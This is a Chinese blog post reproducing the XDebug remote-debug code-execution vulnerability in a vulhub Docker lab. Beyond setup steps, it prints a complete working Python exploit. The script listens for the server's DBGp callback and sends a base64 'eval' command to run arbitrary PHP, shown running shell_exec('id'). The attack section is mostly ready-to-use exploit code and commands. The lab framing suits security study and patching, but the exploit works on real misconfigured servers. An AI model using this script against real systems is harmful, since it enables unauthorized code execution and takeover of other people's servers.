1. 程式人生 > 其它 >XDebug 遠端除錯漏洞(程式碼執行)

XDebug 遠端除錯漏洞(程式碼執行)

技術標籤:WEB安全漏洞復現xdebug安全漏洞

宣告

好好學習,天天向上

漏洞描述

XDebug是PHP的一個擴充套件,用於除錯PHP程式碼。如果目標開啟了遠端除錯模式,並設定remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

這個配置下,我們訪問http://target/index.php?XDEBUG_SESSION_START=phpstorm,目標伺服器的XDebug將會連線訪問者的IP(或X-Forwarded-For頭指定的地址)並通過dbgp協議與其通訊,我們通過dbgp中提供的eval方法即可在目標伺服器上執行任意PHP程式碼。

影響範圍

復現過程

這裡使用2.5.5版本

使用vulhub

/app/vulhub-master/php/xdebug-rce

使用docker啟動

docker-compose build
docker-compose up -d

環境啟動後,訪問

http://192.168.239.129:8080

上exp.py,內容如下

#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
    blocks = []
    data = b''
    while True:
        try:
            data = data + sock.recv(1024)
        except socket.error as e:
            break
        if not data:
            break

        while data:
            eop = data.find(b'\x00')
            if eop < 0:
                break
            blocks.append(data[:eop])
            data = data[eop+1:]

        if len(blocks) >= 4:
            break
    
    return blocks[3]


def trigger(url):
    time.sleep(2)
    try:
        session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
    except:
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
    parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
    parser.add_argument('-t', '--target', required=True, help='target url.')
    parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
    args = parser.parse_args()
    
    ip_port = ('0.0.0.0', args.listen)
    sk = socket.socket()
    sk.settimeout(10)
    sk.bind(ip_port)
    sk.listen(5)

    pool.submit(trigger, args.target)
    conn, addr = sk.accept()
    conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

    data = recv_xml(conn)
    print('[+] Recieve data: ' + data.decode())
    g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
    if not g:
        print('[-] No result...')
        sys.exit(0)

    data = g.group(1)

    try:
        print('[+] Result: ' + base64.b64decode(data).decode())
    except binascii.Error:
        print('[-] May be not string result...')

安裝環境

# 要求用python3並安裝requests庫

直接執行,IP自行修改

python3 exp.py -t http://192.168.239.129:8080/index.php -c 'shell_exec('id');'

在這裡插入圖片描述

關閉映象(每次用完後關閉)

docker-compose down

docker-compose常用命令

拉映象(進入到vulhub某個具體目錄後)

docker-compose build
docker-compose up -d

映象查詢(查到的第一列就是ID值)

docker ps -a

進入指定映象裡面(根據上一條查出的ID進入)

docker exec -it ID /bin/bash

關閉映象(每次用完後關閉)

docker-compose down